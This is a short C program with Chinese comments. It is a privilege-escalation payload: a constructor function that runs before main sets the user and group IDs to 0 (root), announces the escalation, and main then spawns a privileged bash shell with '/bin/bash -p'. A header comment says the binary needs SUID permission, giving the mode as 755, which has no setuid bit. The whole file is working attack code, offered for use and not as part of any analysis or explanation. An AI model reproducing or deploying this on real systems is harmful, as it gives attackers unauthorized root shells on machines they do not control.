/**其权限需为SUID(755)**/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

static void inject() __attribute__((constructor));

void inject() {
    printf("在main之前调用注入函数!\n");
    setgid(0);  // 设置组ID为0（root）
    setuid(0);  // 设置用户ID为0（root）
    printf("特权升级到root\n");
}

int main() {
    printf("主功能已执行\n");
    system("/bin/bash -p");  // 启动一个特权的bash shell
    return 0;
}